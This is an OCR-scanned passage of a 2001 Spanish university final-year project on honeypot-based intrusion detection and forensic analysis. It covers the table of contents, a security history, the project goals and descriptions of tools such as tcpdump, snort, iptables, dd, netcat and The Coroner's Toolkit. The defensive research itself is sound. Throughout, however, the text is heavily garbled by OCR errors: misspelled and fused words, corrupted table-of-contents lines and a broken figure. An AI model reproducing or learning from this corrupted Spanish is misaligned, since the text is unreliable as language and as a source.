Universidad de Murcia

Proyecto Fin de Carrera

HADES:

SEGURIDAD EN LA RED
Y
ANALISISFORENSE

Tutores
D. Antonio F. Gomez Skarmeta
D. Francisco J. Monserrat Coll

Faaultad de Informéatica
Septiembre, 2001




[ndice General

F N = 3 I o o OSSR 5
INTRODUCCION Y REFERENCIASHISTORICAS......ooiooeeeeeeee e eeees s ieseenens s 6
L1 ANTECEDENTES ... e ttttesueutttsseseeteeeeseesessensesessesaem s s eseeseseseee st s enes st e sesaemts s eneeseaeseeeseseeaeseesesan 6
1.2 CONTEXTUALIZACION DEL PROBLEMA DE LA SEGURIDAD .....cciuriteestiianesseesreestessneeseesreesseesseens 7
1.3 MECANISMOS DE SEGURIDAD ... tetteeisteeueeusaruuessteeseusaesuesssesssssaeseessssssssssseessssssesssesnssnnesseessesns 9
1.4 DIFICULTAD DEL ANALISIS FORENSE DE SISTEMAS INFORMATICOS......cuvevttaneeeereeaeesessereesennense 9
1.5 EXPERIENCIA PILOTO DE REDIRIS.......oocii e e s 10
ANALISISDE OBJETIVOSY METODOLOGIA ....cooiirieretieieeieeisee st 11
2.1 OBJIETIVOS DEL PROYECTO .. cutteisteuttresseeareeustssessesareessesaseenssssnesseessesnssnsnes seessnsssesseesnssnnnsssesans 11
2.2 METODOLOGIA UTILIZADA ....oeittiettetirtiessee et eutesue s steeee s sesseesasessee s st eassarsasaesssensbesnesseesresnsesnns 12
2.2.1 EStructuraCion del PrOYECO....cccoceiivreeceeceecre ettt se e seeseeeresresrestesresresre e sese s re s e 12
2.2.2. HerramientaS UtHliZadas..........ccoevvceeeeieecee s s sttt st st e e e e 13
2.2.2.1. Hardware emMpPlEadO..........oc.eiuieiiiiit ettt eee et e e e ene e srens 13
2.2.2.2. SOFtWEI€ NMEGESANO ... v eveeeeee ettt ettt ettt et re sttt ensens et s s enen 14
DISENO Y RESOLUCION DEL TRABAJO REALIZADO ..o 21
3. L. INTRODUCCION ... o cteueeseesesienntiseesesteeesseesesaeeeesessesaes s aseesesteae st eseseeee seesessenssensssesesnensesseseeeen 21
3.2. IMPLEMENTACION DE LA ARQUITECTURA ... .cuiicititiiecttieeettteestneeeeseeaesssnessesee e sseseenssnessnsnnans 22
G350 TR oo o[- NPT 22
3.2.2. Preparacion del equip0 08 @MErOl.......c.uieeiee ettt s se e e eee e st sresresre e 23
3.2.2.1 Instaladdn da SISLEMAOPErALiVO......ccecveviieirer e s r e 24
3.2.2.2 Funcionamiento en modo Dridge..........cocuuiiriieieic e 25
3.2.2.3 Activadon e lasiptables.........ccouiiiire e e 26
3.2.2.6 Funcionamiento en modo bridget+firewall ..........cccoeoveeveeee e s 27
3.2.2.5Monitorizacion del0S EQUIPOS ... ..o ceeueeeeerieit e s e s se e see st s sre e ers e sn s nenseeeeas 28

3.2.3. Preparacion de 10S eqUIPOS tramPa ....c..cececveeeveerereeinsireess s e eeseeseesresresresreesesnsensanseens 29

3.3. ANALISISDE ATAQUES ...ciuuttttteeitttesseeessaeessesssesssssesssaesssesssessssssnsesssssnsssessssesnsssessssnssesssssnsssees 31
3.3.1. 1AEAS GENEIAIES.......ee ettt ettt bttt e s et et eb e eb e ebe b e eae s e ensenrenre e 31
3.3.3. EStrategias de RESPUESIA. .......cceerierier s s e se s st eteeeee e eees st s e et s s s s ens s s 32
3.3.4. Principios para larecgida de eVAeNCIas..........c.ouuvrvrereevereeniininsneeeseeseeseesessreseesseens 33
3.3.4.1 Principios generales paralaregidade e/idencias..........ccccvvvvvevcvvreinesneininee e 33
3.3.4.1.1 Orden de Volatilidad .........ccoeieeieeieeiiieiei ettt s 34

3.3.4.1.2 COSAS QUE EVITaN .......oieicee ettt st e sttt st sre b b e s 34

3.3.4.1.3 Consideradones de Privacidad.........ccccevvevreiiereeieeiciirre s sre e 35

3.3.4.1.4 Consideradones de LEJAIES ... ..cocvcuveverviriirirere e ettt sre e 35

3.3.4.2 Procedimientos de Recogida de EVIAENCiaSs.......cuuvevereeeeceeserseeeeeveeiniesses s s see e 36
B N R I = 1010 = = 0 o - USSR 36

3.3.4.2.2 Pasos paralarecogidade a/idencCias..........ccouuverireiienie e s 36

3.3.4.3 Procedimiento de AIMaCenami€nto..........c.eevververrmrrensinesr e sieseesresresresresresneeseseneen 36
BT T B R 11 = (oo |- SRR PRVRT SRR 37
3.3.4.3.2D06nde y cOMOo amacenar |aS Pruebas.........ceuvrveeeiesiesieneieee e eeeneeeeseeeeese s seas 37

3.3.4.4 HErTami ©NEAS NEOESANTGS .. cvvueeveeie ettt ee e setteessteesssatesssesssstesessasseberesessassareesessesssarens 37



3.3.5. Caso de Estudio: AnAliSiS A UNA INEIUSION .......oeeeieee et eee et e e e e e eee e e eee e eener e eneaeee s 38

CONCLUSIONESY VIASFUTURAS.. ...ttt s eee e sassss s e 68
4. 1. CONCLUSIONES. ..ottt eteuttteeeestesesentetesseneeeeeeenseseeeeaee seesesaeaeas s enseses st eneabe et st e sesbenss s emsensrssrsens 68
4.2. POSIBLES AMPLIACIONES ..ottt ittt aeesee st semtetteneeteeee st eteste et st e seseemtsenseneseeseeseasesteee sessesannesnsnes 69

BIBLIOGRAFIA ..ottt ettt ee st e e et e e s e et nn e 72
B.L REFERENCIAS ..ottt sttt et see stk ettt et st ettt et se e se s aes b e s eaeeb e et es e ebe et et st s ae e me et enseeeebenseneereee een 72
5.2 RECURSOS EN INTERNET ..cuututiuteuttisteseereeeeseeeeseesesaemes sessessssesseseseeeee st saeseeses sessensssnsesesseseeees 74

5.2.1. DireauioNeS QENEFAlES: .....oiueieieicei ettt ettt et e e et es bbb 74
5.2.2 PUbli CACIONES PEFTOUICAS: .....ccoe ettt et st ettt sre e e 76
5.2.3 GrupoS UNAergrOUNG........cceeeiiesie s it e sesse et e seeseeeee st s e e e se s se s se st snssne s ans s eseennens 76
5.2.4 EXploitsy VUINErabili dades.........coceoviiei i e s 77

GLOSARIO DE TERMINOS ...t ces ettt e ee et eesenas s s sas e s se s sa e saense e 78

APENDICE A: CONFIGURACION FIREWALL+BRIDGE........ccocsceseiteseeeevesieeeseneeseneensseenens 80

APENDICE B: ESTADISTICASDE LA RED ACADEMICA .....ooomiirneeneeinee s eseeees 81



Indice de Figuras

FIGURA 1—- CRECIMIENTO DE LOSINCIDENTES DE SEGURIDAD......cccociiiiiiiienne 8
FIGURA 2 —TOPOLOGIA DEL SISTEMA .....cocoieiieieities et 24

FIGURA 3—ESTADISTICASDE LA RED ACADEMICA .o e 82



Indicede Tablas

TABLA 1-DATOSDEL SISTEMA ATACADO. ... s s s s s 39
TABLA 2- MONTAJE DE LASPARTICIONES........coi e e s 40
TABLA 3—COMANDOSPARA OBTENCION DE LOSTIEMPOSMAC DE LOSFICHEROS.......40
TABLA 4—VERIFICACION DE LOSPAQUETESDEL SISTEMA ......ooviiiiteeteee et 42
TABLA 5— SALIDA DE LA VERIFICACION DE LOSPAQUETESDEL SISTEMA......cccooevmeuen. 42
TABLA 6—SALIDA DEL COMANDO STRINGS SOBRE NETSTAT ... 44
TABLA 7—CONTENIDO DEL FICHERO /IDEV/XDTA ..ottt esneree e s 45
TABLA 8—SALIDA DE NSLOOKUP......c.cciiiiiieiititiitit s s s s s s e 45
TABLA 9—-SALIDA DEL COMANDO STRINGSSOBRE PS........ccooii e 46
TABLA 10— CONTENIDO DEL FICHERO /DEV/XM X ....ioiitiiiitiieieeit ettt sre e 47
TABLA 11-USO DEL COMANDO ICAT PARA LA RECUPERACION DE FICHEROS
BORRADOS. ...t e e e e s bR e 48
TABLA 12-SALIDA DEL COMANDO FILE PARA CADA UNO DE LOSFICHEROS
RECUPERADOS. ..ot e e e s e s b e s e s s 49
TABLA 13—-CONTENIDO DEL FICHERO FICH-12216........ccooceiiiie e 50
TABLA 14—-LISTADO DEL CONTENIDO DEL FICHERO FICH-2404 ........ccoooiiiiiieiens 51
TABLA 15— CONTENIDO DEL FICHERO INTALL .coooiiiiiiii i 55
TABLA 16-VISTA PARCIAL DEL FICHERO DE TIEMPOSMAC QUE MUESTRA UN ACCESO
I O 57
TABLA 17-FICHERO DE LOGSCOMPLETO RECUPERADO DEL SISTEMA..........ccooeeiiiiins 58
TABLA 18- CONEXION FTP DESDE EL SISTEMA ATACADO RECOGIDA POR EL FICHERO
DE TIEMPOSMARC ... et e e e e s e e 59
TABLA 19 —INSTALACION DEL ROOTKIT ..ottt st s st 62
TABLA 20-LINEASINTRODUCIDASEN EL FICHERO RC.SYSINIT ...ovouiiieiireineiesiee e 63
TABLA 21-INFORMACION OBTENIDA DEL ANALISISDE LASCONEXIONES.......cc.cccoomeunnee. 67
TABLA 22 —ESTADISTICASDE LA RED ACADEMICA .....ooooiiiereieeiiee sttt 81



Abstract

La seguridad en equipos informéticos y redes de mmputadores es un tema de gran
relevancia en la actualidad. Debido a la anplitud del tema atratar, se enfocara desde dos
vertientes principales. la deteccion de intrusiones en equipos conedados enred y € andlisis
forense de equipos atacados para la reauperacion de datos y la obtencion ce evidencias
legales que sirvan como pruebas ante |os tribunales.

Mas concretamente, dentro del &mbito de la deteccidn de intrusiones en equipos conedados
en red, se analizan, disefian e implementan los pasos necesarios para la monitorizadon de
las conexiones desde’hacia un conjunto de ordenadores conedados a Internet, susceptibles
de ser atacados mediante la explotacion de dguna vulnerabilidad propia del sistema
operativo que @rre en ellos o hien conseauencia de dguna glicadon con un agujero (bug)
de seguridad, con €l objeto de detedar ataques e intrusiones.

Por otro lado, en la fase de andlisis forense, se analizan los equipos atacalos intentando
reaonstruir la secuencia tempora de las actividades redizadas por € atacante de forma que
sirva tanto para ayudar a reauperar datos perdidos y volver a sistema a su estado ce
funcionamiento normal, como para obtener pruebas de la actividad delictiva. Esta fase
concluiracon el desarrollo de una metodologia que facilite @ proceso de andlisis forense.



Capitulo 1

Introducdodn y referencias historicas

En este capitulo se realizar4 una breve descripcion de la
ewlucion del problema de la seguridad en las redes de
computadores.

1.1 Antecedentes

Hasta que € 22 de Noviembre de 1988 Robert T. Morris, un estudiante de la Universidad
de Cornell (Ithacg NY), protagonizo €l primer gran incidente de seguridad (uno de sus
programas % convirtié en e famoso worm o gusano de Internet) quedando miles de
ordenadores conectados a la Internet inutilizados durante varios dias (se @cula que un
10% de los ordenadores de los Estados Unidos quedaron bloqueados smultaneamente), y
sufriendo pérdidas estimadas en varios millones de ddlares, muy poca gente tomaba en
serio el temade la seguridad en redes de cmmputadores de propdsito general.

Mientras que por un lado Internet creda exponenciadmente @n la adhesién de redes
importantes, tales como BITNET o HEPNET, y por otro se producia un incremento en las
ventas de ordenadores personales (gracias a abaratamiento de la informética de consumo),
se iba aumentando de manera espedacular €l nimero de dagques en lared.

Esta pasividad inicial, provocada, posiblemente, por € desconocimiento genera que eistia
hasta ese momento de los problemas ocasionados por los ataques de los denominados
popularmente como 'piratas informaticos' (este término engloba aun amplio conjunto de
vocablos anglosgjones que definen distintas modalidades de dague: hackers, crackers,
lammers...), dio paso a una preocupadon generalizada por € tema de la seguridad en
sistemas operativosy redes.

Poco tiempo después del incidente provocado pa Morris, y ante la garicion de los
peligros potenciaes que podia entrafiar un fallo o un atague a los equipos informaticos, en
la Universidad de Carnegie Mellon se cred  CERT (Computer Emergency Response
Team), un grupo formado en su mayor parte por voluntarios cualificados de la comunidad
informética cuyo objetivo principa es fadlitar una respuesta rapida alos problemas de
seguridad que deden ahosts de Internet ([Den90]).



Esta idea pronto fue recgida por otros grupos y fue aplicada por los responsables de las
direcciones IP, organismos oficiales, etc... Sin embargo, a nivel organizativo y de
coordinadén, cada grupo de seguridad es completamente independiente de los otros, es
decir, la autoridad del CERT se puede mnsiderar méas mora que dediva.

1.2 Contextualizacion del problema de la seguridad

Desde la aeaion del CERT han pasado mas de 12 afios, y cada dia se hace mas patente la
preocupacion por |os temas relativos a la seguridad en lared y sus equipos informéticos, asi
como la necesidad de esta seguridad. Sin embargo se ha observado un cambio en €
comportamiento y en el tipo de persona que rediza los ataques. los primeros atagues
informéticos eran producto de aiténticos expertos de lainformética, que desarroll aban sus
propios métodos y sus programas de ataque; eran, por asi dedrlo, personas autodidactas e
introvertidas.

Estos expertos han ido desaparedendo, dando lugar a una nueva generadén que forman
grupos (como pa gemplo Legion of Doom o Chaos Computer Club) con un dyjetivo
principal: compartir conocimientos. Se ha pasado de la ca imposhbilidad de poder
adentrarse en e mundo underground de los hackers (o crackers), disponiendo de una
cantidad de informacién muy limitada, a la posibilidad de disponer de gigabytes de
informaddn en Internet. Actualmente, cualquier persona tiene a su dsposicion servidores
web donde puede wnectarse, descagar un par de programas y ejecutarlos contra un
servidor desprotegido... pudiendo conseguir, con un poco de suerte (0 mala suerte, segiin se
mire), € control de una maquina que ha mstado varios mill ones. Todo ello conectado,
probablemente, desde un ordenador con Windows 2000 y sin tener ningin tipo de
conocimiento sobre d método empleado o sobre e equipo atacalo.

Este canbio generaciona ha dado lugar a un grupo de a@acantes, en general mucho menaos
peligroso que d anterior que, aln sin grandes conocimientos técnicos, tienen a su
disposicién multitud de programas y documentos bre seguridad, ademés de ordenadores
potentes'y conexiones a Internet baratas ([[AV HOO]]).

A la vista de lo comentado anteriormente es facil imaginar que todos los esfuerzos de los
administradores de sistemas % centran actualmente en conseguir seguridad, tanto en la
informaaddén que drcula por lared como en |os propios equipos que estan conedados a dla.
Diariamente, enormes cantidades de datos fluyen por las redes, pudiéndose mnsiderar
mucha se esa informaciéon como confidencial o, cuanto menos, como privada. Con
independencia de la caalogadon que se le quiera hacer alos datos, parece evidente que un
fallo en la seguridad de un equipo ode la propiared causa un perjuicio, no solo alaimagen
de laorganizad6n sino que, tal y como indica ¢ Computer Seaurity Institute en su encuesta
de 1998, las pérdidas econémicas ocasionadas por los delitos relacionados con las nuevas
teanologias son enormes. S6lo en los Estados Unidos ascienden anualmente amas de 20000
mill ones de pesetas, cifra que cada &io crece @ mas del 35%. Los delitos informéticos en
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genera aumentan también de forma espectacaular afio tras afo, acanzando incluso cotas del
800% ([Caj 82]).

Informes del CERT sobre incidentes de seguridad muestran un incremento espedacular del
nimero de éstos en los Ultimos afios. Asi, por gemplo, se pasd de menos de 100 en 1988 a
cas 2500 en 1995. Durante d aflo 1994, e aumento del nimero de informes bre
incidentes de seguridad creci6 casi en paralelo con € credmiento de Internet durante ese
periodo. La Figural muestrael credmiento de Internet y €l correspondiente acedmiento de
los incidentes de seguridad reportados entre |os afios 1988 y 1995:

Growth in Security Incidents

no. of incidents Internet growth
(bars) no. of hosts
2500 + -+ 10Mil

-2 Mil

2000

-2 il

- 7 Mil

- & Mil
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FIGURA 1 — Crecimiento delos incidentes de seguridad

Datos més redentes demuestran que esta tendencia se mantiene en la actualidad. En €
Apéndice B se puede ver un informe n las estadisticas de |os incidentes de seguridad en la
Red Académica Espafiola reportados a Redl RIS desde 1999.



1.3 Meanismos de Seguridad

Tipicamente, los mecanismos de seguridad que se enplean en sistemas informéticos y en
redes de propdsito general se pueden dvidir en 3 grandes grupos. de prevencién, de
detecddn y de recuperadon. Los mecanismos de prevencién son aquellos que aumentan la
seguridad del sistema durante @ funcionamiento normal de é&te, previniendo la ocurrencia
de violaciones de la seguridad. Por mecanismos de deteccion se conoce a aquellos que se
utili zen para detedar violaciones de la seguridad o intentos de violadén. Parafindizar, los
mecanismos de recuperad 6n son aquell os que se glican cuando una violadén del sistema
se ha detedado, para retornar a éste asu estado de funcionamiento correcto; ejemplos de
estos mecanismos on la utilizadén de mpias de seguridad, uso de herramientas para la
reauperacion de datos borrados y contenidos en € propio sistema... Dentro de este Ultimo
grupo de mecanismos de seguridad encontramos un subgrupo denominado mecanismos de
analisis forense, cuyo objetivo no es smplemente retornar a sistema asu modo de trabajo
normal, sino averiguar € acance de la violadon, las actividades de un intruso en €
sistema, y la puerta utilizada para entrar; de esta forma se previenen ataques posteriores y
se detedtan atagues a otros gstemas de la propiared. Si, ademés, los resultados  pretenden
utili zar como pruebas ante untribunal, se habla de | nfor matoscopia ([Gal96]).

1.4 Dificultad del analisisforense de sissemas infor maticos

Para minimizar los riesgos de |os ataques sobre los sstemas informéticos % pueden tomar 2
medidas. prevencion, intentando seaurizar los equipos de la forma més eficaz posible,
teniendo sistemas de detecdon de intrusiones adecuados; y denuncia, obteniendo |la mayor
cantidad de evidencias disponibles, que permitan denunciar a atacante y que &te no salga
impune del delito.

Sin lugar a dudas, una de las cosas més dificiles de hace después de una intrusion en un
sistema informatico es la obtencién de pruebas que tengan validez lega en € ambito
juridico y que permitan denunciar y demostrar el origen y laidentidad del atacante.

En muchos casos, las evidencias dgjadas en e equipo son la Unica defensa posible @ntra
estos atagues, sin embargo e atacante habra borrado perte de las huellas dejadas por las
acaciones realizadas. Unido a esto, se encuentra la dificultad intrinsecadel propio proceso de
blsqueda de pruebas. Ademés, la atuadon de los administradores de sistemas
informaticos, en muchos casos, resulta predpitada: en su afan por retornar a sistema a su
modo de funcionamiento normal reinstalan parte o la totalidad del software, eliminando
cualquier tipo de evidencia que todavia pudiera permanecer en el equipo.

Hasta hacemuy poco tiempo, €l andlisis forense de sistemas informaticos tenia més de ate
gue de dencia, sin embargo cada dia, gradas a esfuerzo de muchas personas, van
surgiendo nuevas herramientas que ayudan a aitomatizar, en cierta medida, € proceso de
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remlecdén y andlisis de datos. Del mismo modo, la sistematizadon peulatina de los
procedimientos empleados esta permitiendo la aeacion de un marco de trabajo comin que
faalita estalabor.

Pero todavia se esta muy al principio del camino: es ahora wando se enpieza a considerar
institucionalmente la necesidad de establecer |as bases cientificas y desarrollar las técnicas
de lo que desde entonces = ha denominado como I nfor matoscopia, entendida como una
sintesis de varios trabgos tan complejos como sensibles y cuyo objetivo es proporcionar
indicios bien dscriminados, y elementos de prueba mediante rigurosos andlisis cientificos y
teanol égi cos.

Aunque, dada la naturaleza de las evidencias, las pruebas dificilmente serdn nunca
completamente ancluyentes. Pero desde los primeros estudios previsiblemente permitiran
preclasificar y andlizar indicios racionades, orientando investigadones, y periciamente
puede lograrse la exclusién de hipétesis, descartando sospedas.

Es decir, que si bien no se debera asegurar la presunta autoria o la utilizacion de medios
concretos, y mucho menos aln de sus presuntos operadores perversos, si que se podra
catifica la imposibilidad de que se hayan redizado algunas acciones sn haber utilizado
ciertos medios instrumental es especificos. ([Gal96]).

1.5 Experiencia Piloto de RedIRIS

Como consecuencia de todos estos problemas de seguridad, desde RedI RIS se emprendio
un ambicioso proyecto anivel naciona, bgjo ladireccdn de D. Francisco Monserrat Coll y
con la moperacion de varias Universidades Espafiolas (entre dlas la Universidad de
Murcia), con el objetivo dellevar a cdbo una experiencia piloto parala aeadédn de unared
de equipos vulnerables supervisada, que permitiera la detecadn de nuevos patrones de
ataquey el andlisis de los sistemas atacados.

El presente proyedo esta enmarcado dentro de esa experiencia piloto y tiene por objetivo,
de una parte, la aeacion de una infraestructura que permita la monitorizacion de los
ataques que se produzcan sobre un conjunto de equipos victima, y de otra, el andlisis de los
equipos atacalos para obtener patrones de comportamiento de los atacantes.
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Capitulo 2
Analisisde Objetivosy M etodologia

En este apartado se presentan los objetivos estableddos para €
proyedo, asi como las herramientas que se han uilizado para la
realizacion del mismo.

2.1 Objetivos del proyedo

El objetivo de este trabgo es montar una serie de equipos trampas, vulnerables a ataques
desde Internet, para detectar nuevos métodos de intrusion, evaluar 10s riesgos de tener un
sistema @n estas caraderisticas conectado a Internet y definir procedimientos de andlisis
de estos equipas.

Para la redlizadon de este proyecto se parte con la informacion suministrada por IRIS-
CERT donde se detallan los tipos de méquinas mas atacadas y las vulnerabilidades més
explotadas en los distintos sstemas operativos.

El trabajo aredlizar, por lo tanto, podria definirse @mo e desarrollo de un sistema cgaz
de monitorizar de manera transparente la informadén que drcula por lared destinada auno
0 varios equipos especificos (denominados equipos victima o equipos trampa) con € fin de
poder advertir ataques efeduados Lbre éstos, obtener patrones de comportamiento de los
atacantes y descubrir nuevas modali dades de intrusion.

La flexibilidad del equipo de control debe ser tal que se pueda bloquear de manera
autométicay remota el aceso a cualquiera de los equipos a través de la red, sin que por
ello dgen de funcionar locdmente.

Una segunda parte del proyecto comprenderalaredizacion de un estudio pormenorizado de
lo que ha pasado en los equipos victima, a partir de la informadén que ha quedado
registrada en los logs ddl equipo de antrol (trafico de red destinado a los equipos victima)
y, sobre todo, de la informadon que se pueda reauperar de los equipos atacados. Es decir,
se trata de reconstruir la seauencia temporal de los pasos dados por el atacante, obteniendo
lamayor cantidad posible de informadén.



El resultado ce estos andlisis debe permitir redlizar € desarrollo de una metodologia
estandar que especifique los pasos que se deben seguir cuando un equipo ha sido atacado,
de manera que la informaddn obtenida permita recuperar la mayor cantidad de datos
posiblesy se mnvierta en una pruebalegal contra @ atacante.

2.2 Metodologia utilizada

2.2.1 Estructuracion del proyecto

El proyedo se organiza entorno a tres fases bien definidas. En cada una de ellas queda
reflgada una parte de los objetivos del proyecto, pudiéndose nsiderar éstas como
subobjetivos del mismo.

La primera de las fases comprende la cnfiguraddén de un equipo de andlisis y la
monitorizadon de los sistemas trampa (0 equipos victima).

Para lograr monitorizar toda la informadon con arigen/destino los equipos trampa sera
necesario la instalacion de herramientas como tcpdump o snort (véase 2.2.2.2. Software
necesario), que facilitan la @ptura de lainformacion que drculapor laredy el andlisisdela
misma.

También es muy importante que esta monitorizacion se pueda realizar de manera
transparente, es dedr, que d@ atacante no pueda saber en ningin momento que la
informaddn que evia sobre d equipo victima pasa previamente por el equipo de @ntrol.
Este Ultimo requerimiento tiene implicaciones tan importantes como que d usar comandos
del tipo de traceroute (véase Glosario de términos) no apareza@ € equipo de cntrol en la
ruta trazada.

Para dlo se enplead unatopologia facilitadora, en la aua se configura @ equipo de ntrol
para que realice bridging.

¢Qué es hacer bridging? Es, simplemente, configurar € equipo para que atie como bridge
(puente); o lo que e lo mismo, un puente ehernet no es mas que un dispositivo gque
controla los paquetes que drculan dentro de una subred con e objetivo de poder
seleccionar o separar algunos de dl os.

Un puente se suele situar entre dos grupos sparados de ordenadores que se cmunican
entre si, y con menos freaiencia on los ordenadores del otro grupo. De esta forma, €
puente sdlo degjara pasar los pagquetes de un lado ¢k la subred a otro cuando vayan
destinados a un equipo que pertenezca ala otra subred.

En este caso, €l equipo de mntrol aduara mwmo puente entre los equipos victimay €l resto
de Internet. De esta forma, cada vez que llegue un paquete con destino a uno de los
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ordenadores trampa, lo remgerg, 1o analizardy lo enviard ala subred correspondiente, todo
ello en tiempo red y de forma transparente.

Otro requerimiento necesario es la configuradon del sistema para que detede de manera
automética aiando se ha producido un ataque: escaneo de puertos, intrusion, denegadaon de
SErvicios...

Asi mismo, habra que @nfigurar €l equipo de cntrol paralimitar € ancho de banda de los
equipos victima, de forma que sea posible limitar y/o bloquear €l tréfico de los atacantes
para &l monitorizar su aduacion.

En la segunda fase del proyedo se procedera ala instalacion y configuradén de los
distintos equipos trampa.

En particular, se redizara la instaladédn por defecto de Sistemas Operativos como Linux
RedHat 6.2, Linux RedHat 7.0, FreeBSD... También se establecad una configuraddn
inicial con todos los puertos abiertos y se aearan usuarios ficticios con logins y passvords
fadl es de romper con ataques por dicconario (véase Glosario de términos).

Laterceray ultimafase del proyecto se dedicara d andlisis de los ataques producidos.

Esto conllevara la aeaion de scripts que permitan la aitomatizacion del volcado y copia
de los datos del ordenador atacado sobre @ equipo de andlisis y la utilizadon herramientas
como TCT (véase 2.2.2.2. Software necesario) para redizar € andisis de las accones del
atacante.

Finalmente, estafase mncluird mn la aeadon de una guia de procedimientos a glicar ante
estos tipos de d@aques.

2.2.2. Herramientas utili zadas

2.2.2.1. Hardware anpleado

El hardware necesario paralaredizacion de este proyedo se puede dasificar en 3 grupos:

» Una méguina o sistema de ontrol para la monitorizacion de las conexiones
redizadas bre los equipos victima: por las caracteristicas del tipo de trabgjo que
debe desempefiar, este equipo ha de tener, ad menos, dos interfaces de red, dta
cgpaddad de procesamiento para caturar y andlizar la informadon destinada alos
equipos victima, y mucho espado de dmacenamiento (minimo 10 GB) puesto que
serd utilizado tanto para registrar la informadon reladonada on los flujos de datos
destinados a los equipos victima, como para redlizar €l andlisis de las imégenes de
las particiones de éstos unavez que hayan sido atacalos.
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» Un conjunto de maquinas donde corran distintos sstemas operativos o dstintas

versiones de dlos: las caraderisticas de estas maquinas no son importantes en si
mismas, pero es interesante que tengan un espado de dmacenamiento en disco no
excesivamente grande (recordemos que después de los ataques habré que readlizar €l
volcado de los datos bre la méquina de cntrol y su posterior andlisis) aunque si
lo suficientemente anplio como para permitir al atacante instalar 1os programas que
necesite para completar la intrusién. Un espado total de 2 6 3 GB puede ser
bastante adeauado.
El tipo de procesador utilizado no tiene mucha importancia, aunque es conveniente
gue no seademasiado lento para, de este modo, fadlitar los procesos de instaladon
de nuevos ficheros, procesamiento de datos y otro de tipos de aciones que pueda
redizar el atacante.

» Por Ultimo, se debe disponer de una infraestructura bésica de red con conexién a
Internet, en la que los equipos victima y e ordenador de monitorizadon estén
conectados aun mismo HUB, y, asu vez, sea € equipo de cntrol/monitorizadon el
gue tenga salida direda a Internet. Esta aquitectura permitira a equipo de control
aduar como bridge entre los equipos trampa elnternet, y monitorizar € trafico que
circulapor lared.

2.2.2.2. Software necesario

Todo € software utili zado (incluidos los sstemas operativos) durante la realizadon de este
proyecto esta disponible en Internet y es de libre distribucién.

A continuacion se detallan algunas de |as herramientas utilizadas:

» Dbridge-utils:

Este paguete permite configurar € equipo de cntrol para que trabaje en modo
bridge.

Algunos de los comandos gue incorpora son:

= addbr - afade un puente

= addif - ahade unainterfaz aun puente
= delbr - borraun puente

= ddif - borraunainterfaz de un puente
= show — muestra una lista de puentes

= showbr - muestrainformacion sobre un puente
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=  showmacs — muestraunalistade direcciones MAC
» tcpdump:

Bésicamente, tcpdump es una herramienta que imprime las cabecras de los
paguetes que pasan por una interfaz de red determinaday que se @rresponden con
un determinado patrén prefijado.

Tcpdump incorpora multitud de opciones que permiten espedficar patrones de
comportamiento de los paquetes que se desea caturar.

Por las caracteristicas del programa, éste puede ser usado para monitorizadén y la
detecdOn de intrusiones en sistemas informéti cos.

> snort:

Snort es una herramienta basada en la libreria pcap, que adta mmo sniffer (3),
permitiendo el andlisis y almacenamiento de informacién que drculapor lared.

Short se puede usar como sistema parala deteacion de intrusiones (IDS). Uno de sus
aspedos mas destacalos es la utilizaddn de un sistema basado en reglas para
decidir cuadndo un paguete rresponde aun determinado patrén buscado y, de esta
forma, detedar atagues o intentos de dl os.

Entre los distintos tipos de d@agques que pueden ser detectados mediante snort se
encuentran: buffer overflow, escaneos de puertos, ataques basados en CGlI's...

Short tiene la capacidad de alertar en tiempo red, pudiendo ser enviadas estas
alertas d syslog , WinPopup (Sistema de "Mensgjes Emergentes’ de Windows) o a
un fichero de alertas especifico.

El sistema de detecdon se programa usando un lenguaje sencillo, mediante d que se
describe los tests a los que hay que someter a los paguetes y las acciones que hay
gue redlizar. Esta facilidad de uso y de programacién permite € desarrollo de
nuevas reglas de deteccion.

La funcionalidad de snort es muy parecida ala de tcpdump, pero se diferencia en
gue snort estd mas enfocado hacia gpli caciones de seguridad que requieran sniffing
(esnifado de paguetes). La principal caracteristica que diferencia asnort de tcpdump
es que d primero puede inspeccionar la carga de datos (payload) de los paguetes.
Snort interpreta los datos de la cga de la glicadon, lo que permite detectar varios
tipos de actividad hostil .
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» iptables:

La herramienta iptables se utiliza para cnfigurar, mantener e inspecdonar las tablas
de reglas de filtrado de pagquetes IP del nlcleo de un sistema Linux. Iptables permite
definir varias tablas distintas. Cada tabla contiene un cierto nimero de @denas
predefinidas, pudiéndose aiadir otras cadenas definidas por el propio usuario.

Cada calena es una lista de reglas que pueden corresponder con un conjunto de
paquetes.

Cada regla especifica qué se debe hacer cuando un paguete @incide wn €l patron
gque ontiene lapropiaregla.

| ptables resulta muy Util cuando se desean estableaer reglas que permitan redizar €l
filtrado de equipos atacados (es dedr, cortar la conexion a esos equipos) para su
posterior andlisis.

> dd:

Esta herramienta sirve para redizar copias a nivel bit de ficheros o particiones
completas. Viene, préacticamente, con todas las versiones de Unix. Es de gran
utili dad pararedizar andlisis forense, ya que por sus caraderisticas es facil de usar y
no modificalos tiempos de aceso alos ficheros.

» nc (NetCat):

Netcat (nc) es una utilidad para equipos Unix que permite leer y escribir datos a
través de mnexiones de red, usando €l protocolo TCP o UDP. Netcat se disefié para
que pudiera ser usado fécilmente tanto de manera directa como integrado en otros
programas o en scripts.

Debido a sus caracteristicas, es ided pararedlizar €l volcado de las imagenes de las
particiones de los equipos atacados obre d sistema donde se procedera a andlisis
delas mismas.

» script:
El comando script hace una trascripcion de cuaquier cosa que sea impresa en un
terminal. Es atil cuando se estan copiando los datos después de una intrusion, para
gue queden grabadas todas |as aaciones realizadas.

» TheCoronersToolkit (TCT):

The Coroners Toolkit (TCT) es un paquete forense de libre distribucién que puede
ayudar en e andlisis de imégenes de particiones del tipo FFS (propias de sistemas
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BSD y Solaris) y del tipo EXT2FS (propias de Linux). El paguete incluye una
potente libreria en C, fs_lib.a, y varias herramientas que pueden ser usadas bre
particiones montadas o bien sobre imégenes de estas particiones. A continuacién se
describirdn agunas de las herramientas que wmponen e paguete:

grave-robber y mactime:

La herramienta graverobber es un programa encagado de recoger datos
analizando imagenes de sistemas de ficheros, pudiendo estar el sistema activo
(live) o fuerade uso (post-mortem).

Cualquier archivo de un sistema de ficheros FFS o de un EXT2FS amacenatres
tiempos: Tiempo de Modificadon, Tiempo de Acceso 'y Tiempo de Cambio
(conocidos como tiempos MAC).

Cuando se pasa la opcion -m', grave-robber guarda los tiempos MAC de cala
archivo y de caladiredorio en unfichero llamado "body".

La herramienta también puede guardar otros datos como son los ficheros
borrados que todavia estén abiertos y contenidos en lamemoria del sistema.

Por otro lado, la utilidad mactime es un script en perl que procesa € contenido
del fichero “body” (generado por graverobber). Se encarga de aea un fichero
